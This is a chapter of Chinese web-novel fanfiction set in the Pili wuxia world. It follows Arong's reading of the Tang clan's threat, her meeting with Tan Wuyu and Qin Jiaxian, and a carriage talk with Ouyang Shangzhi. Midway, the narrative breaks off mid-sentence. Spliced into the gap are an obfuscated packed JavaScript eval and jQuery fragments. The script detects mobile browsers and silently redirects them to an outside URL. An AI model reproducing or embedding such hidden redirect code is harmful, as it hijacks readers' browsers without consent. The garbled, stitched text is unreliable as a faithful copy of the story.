28.第28章

作品:《[霹雳]如何在苦境变成人

    当谈无欲在素还真的言语机锋下,被逼至死角,不得不当众宣布退隐时,阿容看见他眼中一闪而逝的复杂光芒,有不甘,有挫败,或许还有一丝如释重负的疲惫。


    这位月才子的骄傲,在今日连环的意外与挫败下,终于被逼至台前,亲手摘下自己的冠冕。


    然而,这退隐二字尚未在风沙中完全消散,一声突如其来的喝止便如冷箭般射来!


    空中降下的令旗,带着一股决绝的煞气,更触目惊心的是旗杆上悬挂之物,昆仑上人怒目圆睁的首级!


    人群爆发出更大的惊骇与骚动。


    素还真惊见故友首级,脸上瞬间血色尽褪,那声低呼里的震动与痛心,真切得不容置疑。而谈无欲在惊愕过后,目光死死锁在令旗的标志上,脱口而出的“唐门令旗!”带着难以置信的锐利。


    唐门,一个本应在传言中被灭门的组织。


    使者如鬼魅般出现,言语冰冷,以插在两人发间的,浑然不觉的“牛毛针”为威胁,勒令重写名人榜,增添“天下第一暗器”与“天下第一医”。限期十五日,违则针穿咽喉。


    整个过程快得令人窒息,杀意与诡异混合,完全不同于之前狂沙坪上相对“光明”的武力对决。这是一种阴湿的、来自暗处的、带着牺牲与狂热的胁迫。


    使者完成任务,转身欲走。素还真强压震动,问出了那个关键问题:唐门是否真被灭门?


    使者的回答,与其脸上密布的牛毛针和那声称“感到光荣”的诡异笑容一同,构成了一幅令人心底发寒的图景。他倒下的身影,为“唐门”二字重新蒙上了一层浓得化不开的血色与神秘。


    素还真的叹息,沉重地落在黄沙之上:“名人榜非重写不可了。”


    阿容静静地看着这一切。


    她看到了素还真最初的震惊与哀痛,也看到了那份哀痛之下,迅速恢复运转的,冰冷如精密仪器的算计核心。


    “自残”是为了示弱,诱敌深入。


    而唐门令旗的突兀出现,与必须重写名人榜的新要求,打乱了吗?


    阿容站在人群的边缘,风声与惊愕的低语从她耳边掠过,却仿佛隔着一层透明的琉璃。她的视线,并未长久停留在那面血腥的令旗或昆仑上人死不瞑目的首级上,这些是表象,是舞台上刻意摆放的惊悚道具。


    她的看,是穿透性的。


    她看的是结构,是意图,是力的流动。


    素还真那瞬间褪去的血色与眼底的震动,是真的。那份为故友惨死而生的悲恸,做不得假。阿容能感知到那情绪信息的纯粹与强烈。


    但紧接着,在那悲恸的底层,她看到了更坚硬的东西迅速上浮,那是计算,如同冰川下的洋流,表面是情感的浮冰,深处是冰冷、稳定、定向的谋算之流。


    “他知道。”阿容再次确认。素还真不仅知道唐门令旗的出现意味着更深的介入,他甚至可能……预料到了这种介入的形式。


    他的悲恸是真的,但他的震惊,或许有三分是演给在场所有人,包括那隐匿的操控者看的,示弱,诱敌,将计就计,这本就是他最擅长的棋路。


    她的目光转向谈无欲,那份脱口而出的“唐门令旗!”里,惊愕有之,但更多的是棋手看到棋盘外力量强行落子时的锐利警觉。


    他同样瞬间明白了局势的升维,从日月争辉的台面博弈,被拖入了第三方阴影下的强制规则。


    然后,是使者倒下,脸上密布的牛毛针,那声称感到光荣的诡异笑容。


    阿容的思维如同精密的织机,瞬间将线索串联:


    在谈无欲被逼退隐,心神受挫,素还真看似惨胜实则消耗巨大的节点,这是心理与局势的双重低点,施加压力的最佳时刻。


    不是直接武力威胁,而是展示绝对控制力,你们生死已在吾等指间与冷酷的牺牲精神,自家使者亦可随时成为道具,这是心理战,旨在摧毁一切尽在掌握的幻觉,灌输不可预测与不可违逆的恐惧。


    天下第一暗器与天下第一医。


    暗器,是暴力的延伸与诡谲化;医,是生存的保障与逆转的可能。


    一攻一守,一杀一生,将这两项纳入名人榜,等于将武林最阴暗的杀戮之术与最珍贵的救命之能,都纳入同一个评价与潜在的控制体系。


    欧阳世家。阿容心中毫无波澜地确认,只有欧阳上智,才会如此热衷于定义标准,设立框架,将一切变量纳入可控的评估轨道。


    唐门,不过是此刻最趁手的一枚伪装印章,一个本该死绝的组织复活,执行如此酷烈诡异的任务,本身就能吸收所有猜忌与火力,完美遮蔽幕后的欧阳世家。


    而“天下第一医”……


    阿容的目光再次落回素还真。沙人畏的毒丹毒不死他,此事或许欧阳上智已知,或至少存疑。


    不是用毒杀人,而是用医或解药来设局。


    可能的路径在她意识中清晰展开:


    以评选天下第一医为由,引出或创造一位医术超绝,背景看似中立的人物,嗯……作为靶子,作为后手都可以。


    此神医提供的解法或药物,将成为针对素还真,或许也包括谈无欲的工具


    这不是一次性的刺杀,而是体系性的植入,将医这个至关重要的生存要素,变成棋盘上一枚可能被欧阳世家暗中操控的棋子。


    素还真此刻的凝重,谈无欲眼中未熄的锋芒,都与这无形的枷锁碰撞。


    阿容看着他们,看着这两位绝顶智者,从彼此的对手,被迫成为拴在同一条威胁之绳上的蜇伏双星。


    她轻轻抚过袖中夜月温热的羽毛,心中并无波澜,只有一种透彻的清明。


    这场狂沙坪的戏,前半场是争,日月相争。


    后半场是逼,阴影相逼。


    而真正的棋局,控与反控,关于定义、关于生存、关于谁才是真正在书写规则的人,才刚刚开始。


    素还真与谈无欲看到了威胁,看到了阴谋,看到了十五日的期限。


    而阿容,看到了那阴影中伸出的,试图重新编写武林生命与价值的无形之手。


    远处的树林。


    “金少爷留步。”


    谈无欲的声音已恢复了惯有的清冷,方才在众目睽睽下被迫退隐的挫败与激荡,似乎被某种更深沉的东西迅速压入眼底,只余下月才子特有的,审视棋局般的锐利。


    金少爷停下脚步,却未转身,依旧侧对着谈无欲,目光似乎还流连在不远处舞妓旋转的裙摆上,姿态闲散得与方才狂沙坪上的肃杀格格不入。


    “是你,找我做什么?”金少爷语调懒洋洋的,带着一丝玩味。


    “你出现在狂沙坪,目的绝非仅仅天下第一刀五字。”谈无欲开门见山,他的视线如细针,试图刺破对方那层玩世不恭的表皮,“以你的能为与心性,第一之名或许在意,但绝不会是你唯一,甚至首要的动机。”


    金少爷终于慢悠悠地转过身,脸上挂着那抹惯常的,略带讥诮的笑意:“聪明的人,总喜欢把简单的事情想得复杂。我金少爷行事,有时候就是这么简单。天下第一刀,听起来够威风,够响亮,我想拿到,就这么来了。别无他意。”


    “是吗?”谈无欲向前一步,风拂动他未束的长发,更衬得他面色沉静,目光却愈发凝练,“若你真想以此名号震慑武林,你不会让素还真吃下毒丹,该用的是你真正名号,而不是少爷刀。”


    “哈哈……”金少爷挑了挑眉,笑意更深,眼底却掠过一丝冷光,“若我用帝王刀的名号前来,谈无欲,你觉得今日吞下沙人畏毒丹的,会是素还真吗?”


    谈无欲眼中一闪而逝的微澜,“这我知道,所以我才有疑问,我们素不相识,你为什么要帮助我?”他心中的疑窦并未消散,更浓了。


    “哈!”金少爷笑出声,像是听到了什么极其有趣的话,“帮你就一定需要理由?或许……我只是喜欢帮助弱者呢?”


    “你在讽刺我。”这话讽刺意味更浓了,谈无欲方才被逼退隐,正是他棋局上的弱时刻。


    金少爷继续慢条斯理道“事实如此,何必自欺欺人呢?仙棋岩你不就败在了素还真的手下。”


    出乎金少爷意料,谈无欲并未动怒,甚至连眉头都未皱一下,他只是静静地看着金少爷,那目光太过平静,平静得让金少爷脸上的笑意稍稍敛去了几分。


    “弱者……”谈无欲缓缓重复这两个字,声音里听不出情绪,“仙棋岩一局,我确实输给了素还真,但是文武贯与风云录之争,我有自信。”


    金少爷助他,是真的无意,还是……另有所图,甚至可能与那阴影中的操盘者有关?抑或是,金少爷也看到了那阴影,并做出了某种选择或投资?


    谈无欲的话让金少爷短暂沉默了片刻,随即他脸上的笑意重新漾开,甚至比之前更张扬几分,仿佛听到了世间最荒谬的笑话。


    “呵……哈哈哈哈哈!”


    他笑得肩膀微颤,那笑声里充满了毫不掩饰的轻蔑,眼神却锐利如刀锋般刮过谈无欲沉静的脸。


    “不是每一个人大声说话便能成真,你真是狗掀门帘。”


    金少爷笑声骤止,语带讥诮,他不再给谈无欲反驳或追问的机会,转身便走,那步伐依旧带着玩世不恭的韵律,仿佛方才的对话只是路遇时一句无关痛痒的闲谈。


    他揽过一旁静候的舞妓,身影很快没入远处摇曳的树影与渐起的薄暮之中,只余下空气中一丝残留的,混合了脂粉与危险气息的微茫。


    金少爷的身影混入远去的舞妓香风与市井烟尘中,留下谈无欲独立于街角,眉峰微蹙,反复咀嚼着那四个字:“狗掀门帘……”


    这显然不是一句好话。谈无欲精通诗文典故、兵法谋略,但对这等市井俚语、江湖切口,却有些隔膜。他试图从字面拆解:狗……掀门帘……是何意?嘲讽他如犬类般徒劳?抑或暗示他虚张声势?


    就在他思绪缠绕,即将滑入更深的挫败与自省时,一个温和的,仿佛带着午后暖风质感的声音,轻轻在他身侧响起:


    “那句歇后语,完整的说法是:狗掀门帘——全凭一张嘴。”


    谈无欲心头微凛,霍然转头。


    只见三步之外,不知何时站了一位绿衣女子,她面容温静,眼神清透,正静静看着他,肩上栖着一只毛色丰润,眼神灵动的猫头鹰。


    她出现得如此自然,仿佛早已站在那里,只是他方才未曾注意。更令谈无欲暗自一惊的是,以他的修为与警觉,竟丝毫未察觉她是如何近身的。


    是谁?最近遇到的新面孔貌似多了起来,是素还真的人?还是幕后黑手的人?不过脸看着十分面善,有一种熟悉感。


    谈无欲的目光在阿容脸上停留片刻,那点模糊的熟悉感如同水面的涟漪,很快消散于更深的思虑中,他收敛了方才面对金少爷时的锐利探究,恢复了一贯的,带着距离感的平静。


    “姑娘是?”他问,语气听不出情绪。


    “路过的人。”阿容的回答和她的人一样,温和平淡,没有多余的修饰,“恰好听见了那句话,那是个市井说法,意思是……”她顿了顿,似乎在寻找最贴切的解释,“行动看似有力,实则只靠口舌张扬,根基浅薄,难成大事。或者……虚张声势。”


    谈无欲眼中瞬间迸出寒星般的锐光,袍袖无风自动。


    “他居然……藐视我?”这几个字从他齿间挤出,带着久居高位的月才子骤然被市井俚语刺中痛处的,难以置信的怒火。


    金少爷那玩世不恭的轻蔑笑容仿佛还在眼前晃动,与狗掀门帘四字混合,化作一记无形却响亮的耳光,抽在他刚刚被迫摘下冠冕的骄傲之上。


    阿容静静地等他这口怒气稍稍升腾,却又在即将爆发的前一瞬,才再次开口,声音依旧平稳如初:


    “这句话说的,不是藐视你这个人。”她顿了顿,目光清透地看向谈无欲燃烧着怒意与屈辱的眼眸,“他说的,是方才发生在狂沙坪上的事。”


    谈无欲的怒意被这意外的转折稍稍阻滞。


    “事?”


    “嗯。”阿容轻轻颔首,肩上的夜月也似懂非懂地眨了眨圆眼,“文武贯与风云录之争,日月才子之名响彻武林,这是名,是高高挂起的门帘,光华夺目,人人仰视。”


    她的话语不疾不徐,却像一根细微的针,探入沸腾情绪的缝隙。


    “而唐门令旗,昆仑首级,牛毛针,十五日之限……”阿容每说一个词,谈无欲眼中的怒意便冷却一分,取而代之的是迅速复燃的,属于智者的冰冷清醒,“这是实,是门帘后真正涌动的东西,当这股力量伸手,轻易就掀开了那光华的门帘。”


    她看着谈无欲,眼神里没有评判,只有一种近乎观察事实的澄明:


    “金少爷未必看透了全部,但他嗅到了味道,门帘被掀开时,那股来自背后的、不由分说的风。他讥讽的,或许正是这种名与实在那一刻的脆弱断裂。话语再响,谋划再精,当某种更绝对的,带着血腥味的规则被强行摊开时,所有的名都显得……有些单薄了。”


    谈无欲彻底沉默了,怒火熄尽,只剩下一片冰冷的了然,以及更深沉的,被点破实质后的寒意。


    他岂能不知?当那面令旗落下,当使者带着满脸牛毛针倒下还露出笑容时,他就已经明白,自己与素还真争夺的文武半边天,在那阴影笼罩的新规则面前,是多么不堪一击。


    金少爷的讥讽,不过是用最粗俗的俚语,捅破了这层他已经看到却不愿立刻直面,尤其是在刚刚受挫时更觉刺眼的窗户纸。


    “所以,”谈无欲的声音恢复了平日的清冷,甚至更添几分幽邃,“姑娘的意思是,我此刻的怒意,毫无意义。该看的,是掀开门帘的那只手。”


    “怒意有意义。”阿容却轻轻摇头,“它告诉你,你在乎。在乎那份骄傲,在乎那场对弈,在乎……被这样粗暴地打断和重新定义。”她的话里带着一种奇特的宽容,仿佛在说,有情绪是人之常情。


    “但看,”她话锋依旧平稳地转回,“看那只手从哪里来,为何此刻来,想将门帘后的世界,变成何种模样。这比品味愤怒,或咀嚼一句市井讥诮,要紧得多。”


    谈无欲深深地看着眼前这个绿衣女子。她温静得像一泓秋水,话语却锐利得能剖开纷乱表象,直抵核心。


    她出现得突兀,言谈间却似乎对刚刚发生的一切了然于胸,甚至有种超然其上的洞察。她是谁?素还真的暗棋?欧阳世家的另一重面孔?还是……真的只是一个路过,却看得太过透彻的偶然?


    “容老板——夜兄弟——”秦假仙远远就看到了阿容肩上的站在的夜月,夜月被喊着回了神终于不再当一个挂件了,它飞到了秦假仙的头上,跟着秦假仙来到了阿容面前。


    “秦假仙……”阿容沉思了一下,她记着秦假仙最近换了好几个名号,“这次是中原一点红,还是热剑秦,或者天下第一辩,还是什么?”


    “我最近叫布袋秦。”阿容一提到自己的名号,秦假仙指着自己身后的布袋,甚是骄傲自信,不过对着阿容就没什么架子了。“不过容老板就叫我秦假仙就好了。”


    “好的,秦假仙。”阿容瞧见他背后出现的布袋,手臂接住飞来的夜月,“这武器不错,你的武功也进步不少,恭喜。”夜月兴奋地附和地咕了声,眼睛紧紧盯着那个布袋,目光甚是好奇羡慕。


    “哼哼——”秦假仙就飘了,就开始夸自己来了,“我布袋秦是谁……”阿容不时地点了点头,夜月还在她肩上兴奋地举着翅膀,不时地附和咕一声。


    谈无欲的思绪被这突兀插入的对话短暂打断,他看着眼前这略显滑稽的一幕——江湖上以油滑闻名的秦假仙,此刻正对着那绿衣女子和猫头鹰,显露出一种近乎……朴实的熟稔。


    “容老板?”谈无欲将这称呼在心底默念一遍,目光再次落到阿容身上,老板?这与她方才展现出的那种近乎冰冷的洞察力,似乎有些……微妙的不协调。


    谈无欲的目光并未在秦假仙身上停留太久,他锐利的视线越过布袋,落在那个被秦假仙粗鲁拽过来的年轻乞丐身上。


    那乞丐衣衫褴褛,低着头,身形瑟缩,似乎想将自己藏进阴影里。


    “这位是……”谈无欲微微蹙眉,心底那点模糊的熟悉感再次泛起涟漪,比方才见到阿容时更清晰几分。他上前一步,试图看清对方面容,“阁下看起来,十分面熟。我们是否曾在……”


    话音未落!


    一道细微得几乎融于风声的破空锐响,自谈无欲背后死角处疾射而来!


    谈无欲虽心神微分,但月才子的根基与警觉仍在,几乎在破风声起的刹那,他身形已如风中细柳般倏然一晃,那枚泛着幽蓝光泽的暗器在还未射中谈无欲时,被飞出的石头撞歪,“夺”地一声深深钉入了一旁的树木上,尾端犹自震颤。


    原来是阿容的脚轻踢了一个脚边的石头,撞向了暗器,令暗器斜了方向,石头去势不减地砸在了人的脑袋上,只听到一声闷哼。


    “嗯?!”谈无欲眼中寒光大盛,怒意与警惕同时升腾,他顾不上再追问乞丐,身形一转,目光如电扫向暗器来处。


    “哪里走!”谈无欲低喝一声,提气纵身,人如一道淡青轻烟,疾追而去。方才被金少爷言语所激,又被阿容点破局势的郁结,此刻尽数化为凌厉的追击。他必须弄清楚,是谁在此时此地,用这种下作手段挑衅于他!


    变故突生,又骤然离去,只留下树林里的几人。


    阿容也顺着谈无欲刚才的问题,看向了那个乞丐,她并不担心谈无欲,刚刚就算她不出手,他也躲得过。


    “我似乎也在哪里见过你。”阿容的记忆力一般很好的,说见过那就真见过,唐飞虹,唐门的三公子,她曾经接手过唐门的资料,在几年前见过这个人。


    那乞丐身子颤抖了一下,他似乎也想起了有一个人,也养了只猫头鹰,“哪里,我这样的小角色能得到容老板你如此赏识。”


    “哦。”阿容也不是很在意他,而是看向被吓了一跳的秦假仙,“若是想要教训他,要小心扎手,毕竟蝎子是有毒的。”


    秦假仙被这突如其来的刺杀惊得往后一跳,下意识就想去摸背后的家伙什。听到阿容的话,他眼珠子滴溜溜一转,立刻明白了七八分,脸上又堆起那副夸张的表情,对着那乞丐,连连摆手:


    “哎呀呀,我说这位……朋友,咱们往日无怨近日无仇的,你这就不地道了啊!幸亏我容老板出手快,这笔烂账还不知道要算到谁头上呢!” 他嘴上咋呼,脚下却悄悄挪了半步,离那乞丐远了些。


    阿容只是平静地看着,仿佛刚才那足以致命的暗器只是拂过的一片落叶,她的话点到即止,既是提醒秦假仙,也是说给那个伪装成乞丐的唐门三公子听。


    “对了,我最近不做客栈老板了。”她从袖中取出一个朴素的白瓷小瓶,递给秦假仙,“这是夜月自己找的药材做的伤药,也没什么效果,就是让伤势变得小一点,受伤了记得擦。”


    秦假仙一愣,接过还带着体温的瓷瓶,他混迹江湖多年,收过金银,收过秘籍,也收过毒药和解药,唯独没怎么收过这样……平实的伤药。


    尤其是递药的人,是这位永远温温淡淡、仿佛没什么能真正入眼的容老板。


    他低头看看瓶子,又抬头看看阿容平静无波的脸,再看看她肩上挺胸抬头,几乎要把“快夸我”写在羽毛上的夜月,心里那点常年揣着的油滑和算计,竟难得地滞涩了一下,涌上一股有点陌生的情绪。


    “容老板……这、这怎么好意思……”他难得说话有点磕巴,抓着瓷瓶的手紧了紧。


    “咕咕——!”夜月迫不及待地叫了一声,翅膀拍得啪啪响,圆眼睛里满是“这可是本神鸟/大哥的心意!还不快感激涕零!”的骄傲光芒。


    阿容眼中掠过一丝极淡的笑意,像是阳光透过琉璃盏折射出的微弱光晕。“夜月喜欢你给的零食。”她简单地说,仿佛这便是全部的理由,“它觉得,该还你点什么。” 至于她怎么想,她没说,也不必说。


    秦假仙胸口那股陌生的温热感更明显了。他咧开嘴,这次的笑容少了些往日的夸张算计,多了点真切的触动:“嘿嘿,那……那我就收下了!多谢容老板!多谢夜兄弟!” 他小心翼翼地把瓷瓶塞进怀里最贴身的口袋,还拍了拍。


    阿容微微点头,目光似有若无地扫过树林深处谈无欲消失的方向,又落回眼前。“江湖路险,布袋虽好,也要小心背后。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879945|191424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她这话说得依然平淡,却让秦假仙心头一凛,听懂了未尽之意……风波已起,他那点保命的小聪明,在真正的棋局里未必够看。


    “我晓得,我晓得!”秦假仙连连点头,“那容老板你现在不做客栈了,这是要去哪儿发财啊?哦不对,是去哪儿……呃,清修?” 他实在想不出阿容这样的人物会去做什么。


    “我家先生叫我回去继承家业。”阿容开了个玩笑,自己倒是先笑了笑,“他说我要还在江湖上混就要追杀我。”确实欧阳先生确实是这样对别人的,但欧阳上智知道对阿容没用,还可能将她推远,要是知道她专门接触自己的敌手素还真和谈无欲,肯定要来请她回去了。


    “这么凶,家业很大吗?”秦假仙顿时就好奇了,不回去就要追杀,这得是多大的家业啊?他眼睛一亮,凑近了些,职业病让他下意识开始盘算油水,“容老板,你这可不够意思,有这么大的靠山,以前在客栈的时候怎么没听你提过?是不是怕我们这些穷朋友上门打秋风啊?”


    阿容看着他眼中闪烁的,熟悉的精明与好奇,嘴角那抹未散的笑意又深了些许。“倒也不是什么了不起的家业。”她语气寻常,仿佛在说今天的天气,“只是先生他……管得比较严,总觉得我在不务正业,该回去做些正事。”


    “正事?开客栈不算正事吗?”他一拍大腿,脸上露出恍然大悟的神色,“是不是嫌客栈来钱慢?还是觉得江湖太乱?你放心,有我秦假仙在,保管给你拉来最有钱……呃,最安分的客人!”


    阿容轻轻摇头,目光掠过树林深处,那里早已不见谈无欲的踪影,只有风穿过枝叶的沙沙声。“先生他很快就会武林上有名的……”她看着秦假仙顿了顿,似乎在寻找一个合适的词,“你会见到先生所说的正事的,也会见到夜月和我的,不用担心。”


    秦假仙听得云里雾里,却敏锐地捕捉到了武林上有名这几个字,眼珠子又转了起来。可没等他再问,阿容已经侧过脸,夜月也像是感知到什么,咕噜了一声,将脑袋转向另一个方向。


    “我该走了,先生来接我了。”阿容说着,朝秦假仙点了点头,算是告别。


    她脸上没什么多余的表情,只是眼中那一丝若有若无的笑意彻底敛去了,恢复了惯常的温静,却隐隐透出一种秦假仙熟悉的,属于她这个容老板的疏淡,那是她与真实世界保持距离的方式。


    秦假仙张了张嘴,看着阿容转身,绿衣身影很快融入林间愈发浓重的暮色里。他捏了捏怀里那个还带着微温的白瓷瓶,再看看旁边低着头,不知在想什么的乞丐,又想想刚才那惊心动魄的暗器和谈无欲追出去的身影,最后是阿容那句“先生来接我了”……


    “乖乖……”秦假仙摸了摸自己的大鼻子,喃喃自语,“这江湖的水,真是越来越浑,也越来越深了。容老板这位先生,怕不是什么善茬啊。”


    他掂了掂背后的布袋,又想起阿容那句“小心背后”的提醒,不由得打了个寒颤。


    再看那乞丐,虽然阿容说“蝎子有毒”,但眼下这人缩头耷脑,似乎也掀不起风浪。


    秦假仙盯着那缩成一团的乞丐,眼珠子骨碌碌转了几圈,方才被暗器惊扰、又被阿容赠药搅动的心绪,慢慢沉淀下来,重新浮上脸的是他惯有的,带着市井精明的凶悍。


    “衰仔!”他啐了一口,毫无预兆地,一拳就朝那乞丐面门捣了过去!


    阿容转身离去,绿衣身影在暮色苍茫的林间小径上渐行渐远。方才赠药时的些微笑意已然敛去,步伐平稳,肩上的夜月也安静下来,只有圆眼机警地扫视着四周。直到走出树林,踏上通往远方的尘土官道。


    官道旁,一辆朴素却异常坚固的马车静静停着,驾车的黑衣老者纹丝不动,仿佛与暮色融为一体,车帘低垂,只隐约透出车内一点昏黄的光。


    一个白发白衣的老者立在车旁,负手望着阿容走来的方向,面容慈和,眼神却深邃如古井,正是乔装改扮的欧阳上智。


    “先生。”阿容走到近前,停下脚步,声音平静如常,听不出多余的情绪。


    欧阳上智的目光在她脸上停留片刻,仿佛在审视一件刚刚完成的作品,又像是在评估一道算式中新出现的变量,他微微颔首,没有多言,转身掀开车帘。


    阿容顺从地上了马车,车厢内弥漫着淡淡的、宁神的药香与旧书卷的气息,布置简洁却处处透着考究。夜月熟稔地飞到角落一个铺着软垫的小架子上,缩起一只脚,开始梳理羽毛。


    欧阳上智随后上车,马车缓缓启动,碾过官道的尘土,驶向更深沉的夜色。


    车轮声单调而有规律地响着,车厢内一时寂静。欧阳上智闭目养神,手指在膝上无声地轻叩,仿佛在推演着什么。


    良久,他才缓缓开口,声音不高,却带着一种掌控全局的笃定:“如何?”


    阿容没有立刻回答。她侧脸望着车窗外飞速倒退的模糊树影,官道旁的灯笼在远处晕开一团团昏黄的光,像一只只沉默的眼睛。


    “先生明知道素还真中毒,”她终于开口,语调和她的目光一样平静,不起波澜,“却仍提出重写名人榜,增添天下第一医,天下第一暗器不过是掩饰威慑,是展示力量与诡异,让所有人先入为主地恐惧那无形的,淬毒的刺。而天下第一医,才是真正的杀招吧。”


    欧阳上智的嘴角几不可察地向上弯了一下,那不是一个笑容,更像是棋手看到棋子精准落在预期位置时的满意。


    欧阳上智道:“不错。”


    “先生的那位刀剑双绝的人不见了,是赔给了那个医者。”阿容又闭了闭眼睛,“先生,医者仁心,这位医者一出手便是要先生身边的护卫,想来是个善心的人,也是个聪明人,若是……”她轻叹了口气。


    “唉,先生能说动,想来那位医者也是赞同了先生的看法,但若是先生不改作风,怕是很难将之控制住。”


    “就知道瞒不过你。”欧阳上智轻叹一声,那叹息里没有挫败,反倒有几分玩味与欣赏。他手指摩挲着光滑的玉扳指,目光投向窗外流动的黑暗。“你说得对,但那位并不是个医者,倒像个兼济天下的道者智者,也确实是块难啃的骨头,也有一颗……过于柔软的仁心。”


    车厢内,药香似乎凝滞了一瞬。


    阿容的目光从窗外收回,落在欧阳上智看似从容的脸上。她微微偏了下头,肩上的夜月也学着她的动作,歪了歪毛茸茸的脑袋,圆眼睛里映着车内跳动的烛火。


    “哦?”她的声音里听不出讥讽,只有一种纯粹的好奇,如同孩子询问天空为何是蓝的,“有兼济天下志向的智者?先生怕是……将素还真说成了黑的,自己描成了白的吧。”


    她顿了顿,似乎在认真比较。


    “不过细想,先生做的事,明面上看,倒也确实像是大好事。”


    她的语气太平静了,平静得让欧阳上智指节叩击的动作微不可察地顿了一下。


    “而素还真,”阿容继续道,像在陈述一道算术题的结果,“他设的局、借的刀、默许的牺牲……桩桩件件,痕迹鲜明。目前看来,手段确实黑得很。那位有仁心的智者,若见了这些,怕是会皱眉的。”


    她抬起眼,清透的目光直直看进欧阳上智深邃的眼眸。


    “所以,先生不怕吗?”阿容问,“不怕这位心怀兼济理想的智者,有朝一日真正接触到素还真,见到他那或许……并不全然漆黑的内里,见到他亦在泥沼中挣扎救人的狼狈,从而改了心意?智者之所以为智,便是因其能勘破表象。先生布下的明面好与素还真身上的表象黑,未必经得起一双真正智慧眼睛的久看。”


    欧阳上智脸上的从容并未褪去,反而缓缓展开一个真正称得上笑容的表情。那笑容里没有温度,只有一种将万物纳入棋秤,洞悉所有变量走向的绝对自信。


    “阿容,你思虑渐深了。”他赞许般点了点头,随即,那份掌控一切的笃定重新笼罩他的声音,“但你说错了一点。”


    “我是好不到哪里去,”他坦然承认,仿佛在说今日天气,“算计、牺牲、伪装、利用,这些我一样不少,或许比素还真做得更彻底,更不加掩饰。但正因如此,我从不给自己披上正道仁心的外衣。我要的,就是秩序,是掌控,是让一切按我的规则运转。那位智者,他看得懂我,或许不赞同,但至少,他看得明白。”


    “而素还真,”欧阳上智的笑意里渗入一丝冰冷的锋芒,“他很快就会变成天下共诛之人了。一个身负污名、举世皆敌的伪善者,一个自身难保的祸首,还有什么资格,去接触,去动摇一位心怀清净济世理想的智者?”


    马车微微颠簸了一下,烛火摇曳,在欧阳上智眼中投下明暗不定的光影。


    “他不会有机会的。”欧阳上智的声音低沉而确信,“在智者看清素还真的真面目之前,在智者可能因接触而产生不必要的同情或误判之前……素还真这个名字,就会成为武林公敌的烙印。到那时,任何与他沾边的,都将是智者避之不及的污秽与麻烦。”


    阿容静静地听着,脸上没有任何表情的变化,仿佛只是在接收一段客观的信息。夜月似乎觉得无聊了,把脑袋埋进翅膀里,打起盹来。


    “原来如此。”她轻轻道,目光重新投向窗外无边的夜色,“不是掌控智者,而是掌控智者所能看到的真相与环境。让智者眼中的素还真,永远是先生需要他看到的模样。”


    欧阳上智没有否认,只是重新闭上了眼睛,手指的叩击声再次响起,平稳而富有韵律,如同他心中推演无误的棋步。


    “污名易染,清白难证。”阿容像是自言自语,又像是在对虚空陈述。


    她不再说话。


    车轮滚滚,碾过漫长的官道,驶向欧阳世家那无形却庞大的阴影深处。


    车厢内,只剩下烛火噼啪的微响,老人平稳的呼吸,以及阿容望向窗外时,那双映着流动黑暗的、琉璃般清冷剔透的眼眸。


    她看到了欧阳上智的自信,也看到了这自信之下,那必须不断制造对立、控制信息、塑造敌我的脆弱根基。


    更看到了那位尚未谋面的智者,如同一颗被精心放置在棋盘特定格点上的琉璃子,纯净,耀眼,却被赋予了注定要撞向另一颗污黑棋子的轨迹。